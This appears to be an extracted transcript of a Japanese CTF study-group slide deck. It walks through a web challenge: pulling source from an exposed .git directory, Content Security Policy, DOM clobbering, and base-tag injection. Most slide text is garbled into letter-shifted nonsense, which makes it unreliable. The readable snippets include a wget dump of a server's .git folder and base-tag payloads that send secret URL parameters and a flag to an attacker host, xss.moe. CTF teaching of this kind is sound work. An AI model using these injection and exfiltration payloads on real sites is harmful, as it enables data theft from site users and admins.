katagaitai勉強会#6 EasyなWeb編 / katagaitaiCTF#6 Web

LBUBHBJUBJษڧձ  &BTZͳ8FCฤ 1SFTFOUFECZ!ZBHJIBTIPP

XIPBNJ

)BTIUBHLBUBHBJUBJ$5' XIPBNJ ‣ :V:BHJIBTIJ ‣ IUUQTYTTNPF ‣ 5XJUUFS!ZBHJIBTIPP ‣ 944FS
‣ 4FDVSJUZ"TTFTTNFOU ‣ $5'GPS#FHJOOFST

)BTIUBHLBUBHBJUBJ$5' .ZCPPLT

5BSHFU

)BTIUBHLBUBHBJUBJ$5' 4DPQF ‣ 8IBUEPFTl&BTZzNFBO   #FHJOOFS\IFSF^*OUFSNFEJBUF ‣ *IPQFUIJTFWFOUJTUPCFUIFOFYUTUFQGPSUIF CFHJOOFST ‣
.PSFEFFQMZ NPSFCSPBEMZ NPSFEFUBJMFE UIBOl$5'GPS#FHJOOFSTz

)BTIUBHLBUBHBJUBJ$5' .JTTJPO ‣ )PU$PXT%BUJOH )BDLMV$5' ‣ -FU`TMFBSOUIF944XJUIPVUTDSJQUJOH ‣ 5IFSFBSFUXPXBZTUPTPMWF
‣ 8IBU`T%0.$MPCCFSJOH ‣ 8IBU`T$POUFOU4FDVSJUZ1PMJDZ ‣ $PPMPOF(PMEFOqBHBXBSEQSJ[FEBTUIFNPTU VOFYQFDUFETPMVUJPO

3FDPOOBJTTBODF

)BTIUBHLBUBHBJUBJ$5' 'JSTUPGBMM ‣ -FU`TBDDFTTUPUIFUBSHFUXFCTJUF ‣ IUUQTHPPHMR/K.G% ‣ #FDBVTFPGTPNFUFDIOJDBMSFBTPOT ZPVIBECFUUFS BDDFTTXJUI$ISPNF
PS$ISPNFCBTFECSPXTFS ‣ *OUIJTMFDUVSF *VTF(PPHMF$ISPNFGPSFYBNQMF

)BTIUBHLBUBHBJUBJ$5' -FU`TTFFUIFGFBUVSFT ‣ $SFBUFBOBDDPVOUBOEMPHJO

)BTIUBHLBUBHBJUBJ$5' -FU`TTFFUIFGFBUVSFT ‣ 6TFSTDBODIBUXJUITPNFDPXTʜ

)BTIUBHLBUBHBJUBJ$5' -FU`TTFFUIFGFBUVSFT ‣ 4FFNTJNQPTTJCMFUPHFUUIFQSFNJVNBDDPVOU

)BTIUBHLBUBHBJUBJ$5' -FU`TTFFUIFGFBUVSFT ‣ "OPUIFSGFBUVSFGPSUIFSFQPSUJOHQSPCMFN

)BTIUBHLBUBHBJUBJ$5' -FU`TTFFUIFGFBUVSFT ‣ "MMGFBUVSFTPGUIJTTJUF ‣ $PXFS7JFX%JTQMBZTBMMPOMJOFDPXT ‣ $IBUUJOHQBHF$IBUXJUISFTQFDUJWFDPXT ‣ 3FQPSUJOH1BHF5IFGPSNUPSFQPSUQSPCMFNT
‣ 5IFO XIBUTIBMMXFEP ‣ 5IFSFTIPVMECFTPNFWVMOFSBCJMJUJFT ‣ 5IJTTJUFIBTB944 ‣ $BOZPVpOEJUPVU

)BTIUBHLBUBHBJUBJ$5' "UUFOUJPO ‣ 5IJTTJUFQSPIJCJUTTFOEJOHBSFQPSU DPOTFDVUJWFMZ ‣ 6TFSTDBOTFOEBSFQPSUFWFSZNJOVUFT ‣ 0NJUUJOHEFUBJMT JUDBOCFFWBEFEVTJOH9
'PSXBSEFE'PSIFBEFS ‣ $POpHVSF#VSQ4VJUFGPSSFXSJUJOHSFRVFTUIFBEFS

)BTIUBHLBUBHBJUBJ$5' "UUFOUJPO ‣ $POpHVSJOH#VSQ1SPYZʜ

)BTIUBHLBUBHBJUBJ$5' 3FQPSUJOH1BHF ‣ 8IFOTFFJOHUIFQBHFUPTFOEBSFQPSUUP BENJO 944FSNVTUUIJOL  l5IFSFNBZCFTPNF944z ‣ :PVNBZTBZl8IZEJEZPVLOPXUIBU z
‣ 5IFSFJTOPSFBTPO 944JTKVTUUIFSF

8IFSF`TUIFqBH

)BTIUBHLBUBHBJUBJ$5' *OWFTUJHBUJPO ‣ :PVIBWFNJOVUFT ‣ 'JOEXIFSFUIFqBHJT ‣ )JOU5IFTPVSDFDPEFLOPXTFWFSZUIJOH ‣ :PVLOPXNBOZTPMVUJPOTUPHFUUIFTPVSDF
DPEF3$& 1BUIUSBWFSTBM BOETPPO

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 8IBUZPVIBWFUPEPpSTUMZJTHBUIFS JOGPSNBUJPO ‣ 8IPJTJOGPSNBUJPO %/4SFDPSET )551IFBEFST
4ZTUFNFSSPSNFTTBHFT BOETPPO ‣ 4PNFUJNFT IJEEFOQBHFTBSFMJTUFEPO  lSPCPUTUYUz ‣ *UJTO`UHPPEUPIJEFTPNFUIJOHMJTUJOHPOSPCPUTUYU ‣ SPCPUTUYUJTPQFOUPFWFSZPOFPOUIF*OUFSOFU  0GDPVSTFJU`TJOUFOEFEUPTIPXUIBUDSBXMFST

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 5IFSFTFFNTCFHJUEJSFDUPSZ

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ *U`TQPTTJCMFUPBDRVJSFBMMTPVSDFDPEFTʜ

)BTIUBHLBUBHBJUBJ$5' )PXUPHFUUIFTPVSDFT ‣ 6TFXHFUUPEPXOMPBEUIFHJUEJSFDUPSZ ‣ "GUFSEPXOMPBEJU VTFHJUBOESFTUPSFUIF TPVSDFDPEFTPOUIFMPDBM wget -r
--no-check-certificate -erobots=off https://wildwildweb.fluxfingers.net:1401/.git/

)BTIUBHLBUBHBJUBJ$5' )PXUPHFUUIFTPVSDFT ‣ 3VOAHJUTUBUVTABOEDPOpSNUIBUUIF EJSFDUPSJFTQSPQFSMZEPXOMPBEFE

)BTIUBHLBUBHBJUBJ$5' )PXUPHFUUIFTPVSDFT ‣ 3VOAHJUSFTFUIBSEABOESFTUPSFGBMMFOPVU pMFT

)BTIUBHLBUBHBJUBJ$5' (FUJOUPUIFTPVSDFDPEFT ‣ "QBSUGSPNBOZUIJOHFMTF MPPLUIF MJTUPGUIFTPVSDFDPEFT ‣ +VTUVTFAMT3APSAUSFFA ‣ 4PNF"1*TDSJQUTBSFJOUIFlBQJz
EJSFDUPSZ JU`TJOUFSFTUJOH ‣ 5IFSFJTBDPOpHTDSJQUTOBNFEXJUI lDGHQIQz-FU`TCFHJOXJUIUIJT . ├── api │ ├── error.php │ ├── login.php │ ├── logout.php │ ├── premium.php │ ├── register.php │ └── report.php ├── cfg.php ├── css │ └── style.css ├── index.php ├── js │ ├── form.js │ ├── http.js │ ├── loader.js │ ├── pages │ │ ├── chat.js │ │ ├── error.js │ │ ├── index.js │ │ ├── internal.js │ │ ├── logout.js │ │ └── report.js │ ├── router.js │ └── template.js ├── lib │ ├── Template.php │ ├── session.php │ └── util.php ├── robots.txt ├── static │ ├── abbie.jpg │ ├── clara.jpg │ ├── cow_front.jpg │ ├── maggie.jpg │ └── rosie.jpg └── templates ├── cow.html ├── error.html ├── index.html ├── internal.html ├── layout.phtml ├── message.html ├── message.pjson └── report.html

)BTIUBHLBUBHBJUBJ$5' $IFDLUIFDPOpH ‣ 5IFqBHTUSJOHJTEFpOFEBTBDPOTUBOU ‣ 4PXFOFFEUPpOEXIFSFUIJTDPOTUBOUJT DBMMFEJOUIFTPVSDFDPEFT ‣ *U`TTJNQMFUBTL KVTUVTFHSFQ
‣ HSFQF'-"(ApOEOBNF QIQA 27 // change this 28 define('FLAG', 'XXX'); 29 define('SALT', 'XXX');

)BTIUBHLBUBHBJUBJ$5' (SFQSFTVMU ‣ 5IFqBHJTVTFEJOQSFNJVNQIQ ‣ 4PHFUJOUPUIJTpMFOFYU

)BTIUBHLBUBHBJUBJ$5' QSFNJVNQIQ ‣ 5IJT"1*JTDBMMFEPOUIFDIBUQBHF ‣ *OUIFMBUFSTUFQ HFUUJOHJOUPUIFDMJFOUTJEF DPEFT

5JNFUP944

)BTIUBHLBUBHBJUBJ$5' *OWFTUJHBUJPO ‣ 944XJMMCFOFFEFEUPDBQUVSFUIFqBH ‣ #BTJDBMMZ ZPVIBWFUPpOEUIFWVMOFSBCJMJUJFTGSPN TDSBUDIJO$5' ‣ :PVIBWFNJOVUFT
‣ 'JOEVTFGVMPOF

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ $PVMEZPVpOEHPPEPOF ‣ 4PNFUBHTXPSLPOl QDIBUT944 Tz ‣
)PXFWFS DPVMEZPVSVOlBMFSU b944` zPOUIJT QBHF ‣ 5IFSF`TTPNFUIJOHTUSBOHFXJUIUIJTTJUF SJHIU

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 4PNFUBHTMJLFTXPSLTXFMM

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ )PXFWFS TDSJQUEPFTO`UXPSLBUBMM

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 4PNFUIJOHXSPOHʜ

l3FGVTFEUPFYFDVUFJOMJOFFWFOUIBOEMFSCFDBVTFJU WJPMBUFTUIFGPMMPXJOH$POUFOU4FDVSJUZ1PMJDZ EJSFDUJWFTDSJQUTSDTFMG&JUIFSUIFVOTBGFJOMJOF LFZXPSE BIBTI TIB PSBOPODF OPODF JTSFRVJSFEUPFOBCMFJOMJOFFYFDVUJPOz

l3FGVTFEUPFYFDVUFJOMJOFFWFOUIBOEMFSCFDBVTFJU WJPMBUFTUIFGPMMPXJOH$POUFOU4FDVSJUZ1PMJDZ EJSFDUJWFTDSJQUTSDTFMG&JUIFSUIFVOTBGFJOMJOF LFZXPSE BIBTI TIB PSBOPODF OPODF JTSFRVJSFEUPFOBCMFJOMJOFFYFDVUJPOz 8IBU`TUIJT

$POUFOU4FDVSJUZ1PMJDZ

)BTIUBHLBUBHBJUBJ$5' 8IBU`TUIF$41 ‣ /FXHFOFSBUJPOXFCTFDVSJUZNFDIBOJTN ‣ #FZPOETUIF4BNF0SJHJO1PMJDZ ‣ &QPDINBLJOHBOUJ944GFBUVSFPOCSPXTFST ‣ 3FTUSJDUTMPBEJOHSFTPVSDFTCBTFEPOXIJUFMJTU
‣ 8FCTJUFJOGPSNTTBGFSFTPVSDFXJUIQPMJDZEJSFDUJWF UPCSPXTFST ‣ %JSFDUJWFTXPVMECFXSJUUFOJOUIFGPSNBUMJLF  \EJSFDUJWFOBNF^\SFTPVSDFPSJHJOT^

)BTIUBHLBUBHBJUBJ$5' .PSFBCPVU$41 ‣ )PXUPVTF ‣ $POUFOU4FDVSJUZ1PMJDZIFBEFS ‣ $POUFOU4FDVSJUZ1PMJDZ3FQPSU0OMZIFBEFS ‣ .BKPSEJSFDUJWFT
ZPVOFFEUPLOPXGPS$5' ‣ EFGBVMUTSD ‣ TDSJQUTSD ‣ .BKPSSFTPVSDFT ZPVOFFEUPLOPXGPS$5' ‣ bTFMG` ‣ bVOTBGFJOMJOF` ‣ bVOTBGFFWBM`

)BTIUBHLBUBHBJUBJ$5' -PPLBHBJO ‣ )PX`TPOUIFTJUF-FU`TMPPLBHBJO

)BTIUBHLBUBHBJUBJ$5' 8IBU$41EJE ‣ -FU`TMPPLBUQPMJDJFT ‣ bTFMG`NFBOTUIFTDSJQUT PSTPNFUIJOHFMTF PSJHJOBUFEGSPNUIFTBNFPSJHJOBSFQFSNJUUFE ‣
5IFTFQPMJDJFTDPOUBJOOPbVOTBGFJOMJOF` ‣ 4PCSPXTFSTEPO`UFYFDVUFUIFDPEFTMJLFCFMPX  *OMJOFTDSJQUT TDSJQUBMFSU bUIJT` TDSJQU   &WFOUIBOEMFST JNHTSDYPOFSSPSBMFSU bUIJT`   +BWB4DSJQUTDIFNF KBWBTDSJQUBMFSU bUIJT` default-src ‘none'; img-src 'self'; script-src ‘self'; style-src ‘self'; connect-src 'self'

)BTIUBHLBUBHBJUBJ$5' 8IBU$41EJE ‣ 0VS944DPEFJTʜ ‣ 0VS944DPEFJTJOKFDUFEUP)5.-DPOUFYU ‣ 4PXFIBWFUPVTFJOMJOFTDSJQUTUPFYFDVUFBSCJUSBM DPEFTPOUIFQBHF ‣
)PXFWFSʜ ‣ $41CMPDLTFYFDVUJOHJOMJOFTDSJQUTKVTUMJLF  lJNHTSDYPOFSSPSBMFSU z ‣ *IBEBUBMLBCPVU$41 BMTPSFGFSUIBU ‣ IUUQXXXTMJEFTIBSFOFUZBHJIBTIPPDTQGYPT

4P XIBU`TUIFQMBO

)BTIUBHLBUBHBJUBJ$5' 8IBUDBO*EP ‣ $41FWBTJPOJTPVUPGUIFTDPQFUPEBZ ‣ *U`TUPPEJ⒏DVMUUPEFBMXJUIJOTIPSUUFSN ‣ 5IFQPMJDJFTPOUIJTTJUFIBTOPFWJEFOUqBX ‣ )5.-UBHJOKFDUJPOJTQPTTJCMFFWFOVOEFSUIF
$41 ‣ 4PNFPSEJOBM)5.-UBHTHJWFVTqBHUPEBZ ‣ 4PUPEBZMFU`TMFBSOOPUPSEJOBM944

)BTIUBHLBUBHBJUBJ$5' )5.-5BH*OKFDUJPO ‣ (FOFSBMMZ JU`TVTFEBTTZOPOZNPG944 ‣ *U`TTJNQMF KVTUJOKFDUTPNF)5.-UBHT ‣ 5PEBZ
JOUSPEVDJOHUXPPGHPPE)5.-UBH JOKFDUJPOBUUBDLNFUIPET ‣ 6TFUIFNBOEHFUUIFqBH

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title> <script>
console.log(document.URL); // => http://example.com/~~~ </script> </head> <body> <form name="URL">foo bar</form> <script> console.log(document.URL); // => <form name="URL">foo bar</form> </script> </body> </html> TU%0.$MPCCFSJOH

)BTIUBHLBUBHBJUBJ$5' 8IBU`T%0.$MPCCFSJOH ‣ :PVLOPX%0.JTSFBMMZNFTTFE ‣ /PUPOMZ%0. CVUUIF8FCJTBMMNFTTFEGPSMPOH UJNF ‣ 5IFSFTIPVMECFTPMJECPSEFSCFUXFFOUIF
)5.-EPDVNFOUBOEUIF+BWB4DSJQUDPEF ‣ "OEJUIBWFUPCFGPSCJEEFOJNQMJDJUBDDFTTUPUIF +BWB4DSJQUXPSMEGSPN)5.-XPSME ‣ )PXFWFS GPSTPNFSFBTPOT JUDBOIBQQFOBOEMFBE TPNFBUUBDLTUPUIFTZTUFN5PEBZMFU`TVTFJU ‣ %0.$MPCCFSJOH5IF4QBOOFS ‣ IUUQXXXUIFTQBOOFSDPVLEPN DMPCCFSJOH

)BTIUBHLBUBHBJUBJ$5' 8IBU`T%0.$MPCCFSJOH ‣ %0.USFFJTDPOTUSVDUFEBVUPNBUJDBMMZBGUFS %0.DPOUFOUMPBEJOH ‣ 8IFO%0.USFFJTDPOTUSVDUFE TPNFGPSNJUFN FMFNFOUTBSFJOUFHSBUFEJOUP%0.USFF NFBOT
HFOFSBUJOHPCKFDUTJO+BWB4DSJQUXPSME ‣ *UJTCBTFEPOUIFlOBNFzPSlJEzQSPQFSUZPGUIF FMFNFOUT ‣ 4PUIFFMFNFOUTOBNFEPSBTTJHOFE*%FYJTUTJO +BWB4DSJQUXPSMEGSPNUIFTUBSU

)BTIUBHLBUBHBJUBJ$5' <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title>
</head> <body> <form id="here">foo bar</form> <script> console.log(here.innerHTML); // => foo bar </script> </body> </html> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title> </head> <body> <form name="here">foo bar</form> <script> console.log(document.here.innerHTML); // => foo bar </script> </body> </html> 8IBU`T%0.$MPCCFSJOH ‣ 5IF%0.FMFNFOUTPCKFDUTBSFHFOFSBUFE BVUPNBUJDBMMZ ‣ "OEJUDBOCFBDDFTTFEWJB+BWB4DSJQUDPEF ‣ 8IBUEPFTUIJTNFBO

)BTIUBHLBUBHBJUBJ$5' 8IBU`T%0.$MPCCFSJOH ‣ +VTUMJLFCFMPX PWFSSJEJOHUPUIFEFGBVMU PCKFDUTPDDVSTGPSEPDVNFOU VTJOHUIJT UFDIOJRVF <!DOCTYPE html>
<html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title> <script> console.log(document.URL); // => http://example.com/~~~ </script> </head> <body> <form name="URL">foo bar</form> <script> console.log(document.URL); // => <form name="URL">foo bar</form> </script> </body> </html> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM test</title> <script> var AAA = "global obj"; console.log(AAA); // => global obj </script> </head> <body> <form id="AAA">foo bar</form> <script> console.log(AAA); // => global obj </script> </body> </html>

)BTIUBHLBUBHBJUBJ$5' 8IBU`T%0.$MPCCFSJOH ‣ 0WFSSJEJOHEPDVNFOU PCKFDUT XFDBODBVTF BOFSSPSJOUFOUJPOBMMZ ‣ :PVNBZUIJOLl*TUIBUBMM z
‣ *U`TUSJWJBM IPXFWFSIBTBCJHF⒎FDUGPSUIJT )PU$PXT%BUJOH

<base href=“http://sqli.moe/">
<a href="foo.html">foo</a> ⇒links to sqli.moe/foo.html <script> location.href=“bar.html" </script> ⇒move to sqli.moe/bar.html OE#BTFUBHJOKFDUJPO

)BTIUBHLBUBHBJUBJ$5' 5IFGFBUVSFPGCBTFUBH ‣ #BTFUBHEFpOFTUIFCBTFVSJGPSUIFSFMBUJWF QBUITJOUIFQBHF ‣ &⒎FDUCPUIUBHTBOEDPEFT ‣ +VTUMJLFCFMPX ‣
$BOOPUVTFlKBWBTDSJQUz BOETPPO NBZCF ‣ 4POPUVTFGVMGPS944JUTFMG  <base href=“http://sqli.moe/"> <a href="foo.html">foo</a> ⇒links to sqli.moe/foo.html <script>location.href="bar.html"</script> ⇒move to sqli.moe/bar.html

)BTIUBHLBUBHBJUBJ$5' 8IBUIBQQFOT ‣ *OGPSNBUJPOMFBLBHF ‣ *GUIFSFRVFTUXJUIVSMQBSBNFUFSPDDVSTPOUIFQBHF UIBUJTJOKFDUFENBMJDJPVTCBTFUBH UIPTFVSM QBSBNFUFSTXJMMCFTFOUUPUIFNBMJDJPVTTFSWFS  ‣
*OUIJTFYBNQMF UIFMJOLSFGFSTNBMJDJPVTEPNBJO lYTTNPFz ‣ *OUIFSFTVMU lTPNF@TFDSFU@JOGPzQBSBNFUFSMFBLTPVU UPUIFBOPUIFSTFSWFS ‣ 3FGFSFSTUPP ‣ *OUIFTPNFTJUVBUJPOT IUUQSFGFSFSJOGPXJMMBMTPMFBL <base href=“http://xss.moe/this_is_injected/”> <a href="foo.php?some_secret_info=XXX">link</a>

/PXUIFUJNFUP$5'

)BTIUBHLBUBHBJUBJ$5' #ZUIFXBZ ‣ 944OFFETTPNFTFSWFSUPSFDFJWFUIFEBUB ‣ %PZPVIBWFUIFPOFBTTJHOFEHMPCBM BEESFTT ‣ *GZPVOPU
VTFUIFTFTJUFT ‣ 5IBOLT!@//6@  IUUQSFRVFTUCJO ‣ *NBEFUIJTMBTUOJHIUʜ  IUUQLBUBHBJUBJTRMJNPF

)BTIUBHLBUBHBJUBJ$5' &YQMPJUBUJPO ‣ 6TFUIF%0.$MPCCFSJOHBOEDBQUVSFUIFqBH ‣ :PVIBWFNJOVUFT

)BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ 6TFUIFEFWFMPQFSUPPMT ‣ DPNNBOE PQUJPO * ‣ DUSM
TIJGU * ‣ "MMXFCBDDFTTFTBSFMJTUFEPO/FUXPSLUBC ‣ l BQJQSFNJVNQIQzJTUIFPOFXFKVTUTBX CFGPSFIBOE

)BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ -FU`TpOEUIFDPEFUPJTTVFUIFSFRVFTUUP QSFNJVNQIQ ‣ 0QFOUIF4PVSDFUBCBOECSPXTF  KTQBHFTDIBUKT ‣ 'JOEBQISBTFlQSFNJVNQIQz
‣ *U`TBUMJOF ‣ *U`TDBMMFEJOQBHFHFU1SFNJVNNFUIPE ‣ 4PUIFOFYUJTUIJTNFUIPE

)BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ 5IFSFTVMUPGQBHFHFU1SFNJVN JTTUPSFEJO QBHFpSTU.FTTBHFGVODUJPOBUMJOF ‣ "OE JU`TEJWJEFEBOETUPSFEUPBOPUIFS WBSJBCMFTJNNFEJBUFMZ
‣ 'JOBMMZqBHJTJOQSFNJVN@JE ‣ 8IBUJTQSFNJVN@JEVTFEGPS premium = page.getPremium(); has_premium = premium[‘success’]; premium_id = premium[‘message’];

)BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ 'JOEBQISBTFlQSFNJVN@JEz ‣ *U`TBUMJOF ‣ 5IJTNFTTBHFWBSJBCMFJTVTFEGPS AUFNQBTTJHO NFTTBHF
bNTH A ‣ 8IBU`TUFNQ ‣ "OEZPVOPUJDFAWBSALFZXPSEJTOPUVTFBUBMMJOUIJT DPEF message = cow_name + ((has_premium) ? ' (' + premium_id + ')' : ‘');

)BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ UFNQJTFWFSZXIFSFJOUIJTDPEF ‣ 5IJTJTHMPCBMWBSJBCMF TPBMMGVODUJPOTDBO PWFSSJEFUIJTWBSJBCMF ‣ "OEJUSFNBJOTIBWJOHQSFWJPVTWBMVFCFGPSFPWFSSJEF
JOFBDINFUIPE ‣ .PSFPWFS UIJTPCKFDUIBTUIFNFUIPEOBNFE lBTTJHOz ‣ *GUIJTlUFNQzWBSJBCMFJTMPDBUJPOPCKFDUʜ

)BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ EFNP

)BTIUBHLBUBHBJUBJ$5' $IBTFUIFqBH ‣ 5IFqBHJTEJTQMBZFEPOUIFDIBUUJOHQBHFJG UIFVTFSJTQSFNJVNBDDPVOU ‣ QSFNJVNQIQSFUVSOTUIFqBHJGUIFVTFSJTQSFNJVN BDDPVOU ‣ +BWB4DSJQUDPEFTPOUIFDIBUUJOHQBHFEJTQMBZTUIF
WBMVFQSFNJVNQIQSFUVSOTPOUIFQBHF ‣ 4PVTFUIF944POUIFDIBUUJOHQBHF XFDBOBDRVJSF UIFqBH

)BTIUBHLBUBHBJUBJ$5' 5IJOLBCPVUTDFOBSJP ‣ 5IFSFJT944POUIFDIBUUJOHQBHF ‣ 5IFQBSBNFUFSNFBOTEFTUJOBUJPOJTWVMOFSBCMF ‣ 5IFTJUFIBWFBSFQPSUJOHQBHFBOEUIFBENJO NBZTFFUIFSFQPSUT ‣
"OEBENJONBZIBWFBDPOWFSTBUJPOXJUIUIF SFQPSUFSVTJOHUIFDIBUUJOHQBHF ‣ 4PBENJOUZQFJOUPUIFSFQPSUFSOBNFUPUIF DIBUUJOHQBHF ‣ *UpSFTPVS944DPEFT

)BTIUBHLBUBHBJUBJ$5' 5IJOLBCPVUTDFOBSJP $PX/BNFTPNFYTTDPEFT %FTDSJQUJPOIPHFIPHFIPHF "%.*/ 944  ͲʔΜʂ '-"( .Z 4FSWFS

)BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ 8BUDIUIFlUFNQzWBSJBCMFBOEDPOpSNUIBUJUT WBMVF ‣ 4FUUIFCSFBLQPJOU ‣ $MJDLUIFMJOFOVNCFSBUMJOF  QBHFDIBU"OTXFSdddd
‣ 6TFUIF8BUDIGFBUVSFPOUIFSJHIUTJEF ‣ $MJDLl zTJHO ‣ &OUFSlUFNQz ‣ 3FMPBE

)BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ 'JSTUMZ lUFNQzWBSJBCMFQPJOUTMPDBUJPOPCKFDU ‣ $POUJOVPVTMZTUFQJOUPUIFOFYUGVODUJPODBMM ‣ *UDIBOHFTGSPNMPDBUJPOPCKFDUJOUP5FNQMBUFPCKFDU JOQBHFWJFXGVODUJPOBUMJOF
‣ 5IFOFYUGVODUJPODBMMJTGPSQBHFpSTU.FTTBHF XIJDIIBTDPEFEJTQMBZTUIFqBHPOUIFQBHF ‣ 0GDPVSTFUIFGVODUJPOEPFTO`USFEFpOFTlUFNQz temp = new Template('message.html');

)BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ %PZPVSFNFNCFSXIBU%0.DMPCCFSJOHDBO EP ‣ 0WFSSJEFEPDVNFOU BOEDBVTFTPNFFSSPS ‣
*GUIFDPEFDBMMTEPDVNFOU NFUIPECFGPSF lUFNQzWBSJBCMFJTPWFSSJEEFOUP5FNQMBUF PCKFDUʜ ‣ *GJUPDDVSTJOQBHFWJFXGVODUJPO UFNQSFNBJOT CFJOHMPDBUJPOPCKFDUJOQBHFpSTU.FTTBHFGVODUJPO ‣ "OEMPDBUJPOBTTJHOXJMMCFDBMMFEXJUIUIFqBH

)BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ EPDVNFOUHFU&MFNFOU#Z*EJTDBMMFEBUMJOF CFGPSFlUFNQzWBSJBCMFJTPWFSSJEEFO ‣ *U`TBXFTPNF XFDBODMPCCFS EPDVNFOUHFU&MFNFOU#Z*EBOEDBVTFFSSPS ‣
"GUFSFSSPSPDDVST UIFSFTUPGDPEFTJOQBHFWJFX GVODUJPOJTOPUFYFDVUFE ‣ 4LJQQJOHTPNFDPEFT QBHFpSTU.FTTBHFXJMMCF DBMMFE

)BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ -FU`TQSPWFUIFDPODFQUXPSLTXFMM ‣ 4FUUIFCSFBLQPJOUBUMJOF ‣ "DDFTTUPl QDIBUGPSN OBNFHFU&MFNFOU#Z*EGPSNz
‣ 4UFQJOUPOFYUGVODUJPODBMMGSPNUIFCSFBL QPJOU ‣ "OFSSPSPDDVSTBUMJOF ‣ 5PSFTVNFTDSJQUFYFDVUJPO ZPVBSFBU  lGPSNOBNFHFU&MFNFOU#Z*EGPSNzBUUIFFOE btn_logout = document.getElementById('btn-logout');

)BTIUBHLBUBHBJUBJ$5' 'JOBMMZ ‣ *U`TQSPWFEUIBUMPDBUJPOBTTJHOJTDBMMFEXJUI MPDBUJPOIBTITMJDF ‣ 4PVTJOHUIFMPDBUJPOIBTIMJLFCFMPXXJMM SFEJSFDUTCSPXTFSUPYTTNPF
‣ IUUQYTTNPFGPSNOBNFHFU&MFNFOU#Z*E GPSN ‣ 4PVTJOHUIFMPDBUJPOIBTIMJLFCFMPXXJMM SFEJSFDUTBENJO`TCSPXTFSUPYTTNPFXJUIUIF qBH ‣ IUUQYTTNPFGPSNOBNFHFU&MFNFOU#Z*E GPSN

)BTIUBHLBUBHBJUBJ$5' -FU`TDMPCCFS%0. ‣ EFNP

)BTIUBHLBUBHBJUBJ$5' &YQMPJUBUJPO ‣ 6TFUIFCBTFUBHJOKFDUJPOBOEDBQUVSFUIF qBH ‣ 4IPXZPVUIJTXJUIPVUFYFSDJTF

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 5IJOHTUPEPBSFTBNFXJUIQSFWJPVTPOF ‣ $BVTFBOFSSPSBOENBLFUFNQSFNBJOCFJOHMPDBUJPO PCKFDU ‣ *OUIJTFYBNQMF QVUUJOHUPBMMZ$41

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 4LJQQJOHBMMEFUBJMT KVTUVTF  CBTFISFGlIUUQGPPCBSz ‣ lUFNQzWBSJBCMFDIBOHFTGSPNMPDBUJPOPCKFDU JOUP5FNQMBUFPCKFDUBUMJOF ‣
/PXHFUJOUP5FNQMBUFPCKFDU temp = new Template('message.html');

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 6TF$POTPMFJOEFWFMPQFSUPPMT

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 5IFQBHFVTFTSFMBUJWFQBUIUPHFUUFNQMBUF pMF ‣ 4PJGCBTFUBHJTJOKFDUFE XFDBOPWFSSJEFSFRVFTU EFTUJOBUJPO ‣
3FNFNCFSUIF$41QPMJDZ ‣ *UIBTBSVMFADPOOFDUTSDbTFMG`AUIBUSFTUSJDUT9)3 SFRVFTUTUPPUIFSPSJHJOT ‣ *GUIFEFTUJOBUJPOPGBSFRVFTUGPSHFUUJOHUFNQMBUFJT PUIFSPSJHJO $41WJPMBUJPOPDDVSTBOEJUDBVTFBO FSSPS

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ 8IJDIFWFS63-ZPVVTFXJMMF⒎FDU ‣ #FDBVTFBOZUIJOHCVUUIFTBNFPSJHJODBVTFBO$41 WJPMBUJPOBOEBOFSSPS ‣ 4PVTJOHUIFMPDBUJPOIBTIMJLFCFMPXXJMMBMTP SFEJSFDUTBENJO`TCSPXTFSUPYTTNPFXJUIUIF
qBH ‣ IUUQYTTNPFCBTFISFGIUUQGPPCBS

)BTIUBHLBUBHBJUBJ$5' 3FWJFX ‣ EFNP

4VNNBSZ

"OZRVFTUJPOT

)BTIUBHLBUBHBJUBJ$5' 4VNNBSZ ‣ %0.JTDPNQMFUFMZNFTTFEVQ ‣ *U`TUIFDIBSN ‣ %PO`UGPSHFUUPVTFAWBSABOEAUSZDBUDIA ‣ #BEDPEFMFBETUPWVMOFSBCJMJUJFT
‣ 4PNFUJNFT UIFBUUBDLJOHTDFOBSJPJO$5'JT SFBMMZEJ⒏DVMUUPVOEFSTUBOE ‣ *NBHJOF

)BTIUBHLBUBHBJUBJ$5' "DLOPXMFEHNFOU ‣ 5IJTCSJFpOHJTCBTFEPOUIJTXSJUFVQ ‣ IUUQTHJUIVCDPNDUGTXSJUFVQTUSFF NBTUFSIBDLMVDUGIPUDPXTEBUJOH ‣ 5IBOLTGPSBMMBUUFOEFFT ‣
5IBOLTGPSNFNCFSTPGLBUBHBJUBJ

5IBOLZPV

katagaitai勉強会#6 EasyなWeb編 / katagaitaiCTF#6 Web

katagaitai勉強会#6 EasyなWeb編 / katagaitaiCTF#6 Web

More Decks by Yu Yagihashi

Other Decks in Technology

Featured

Transcript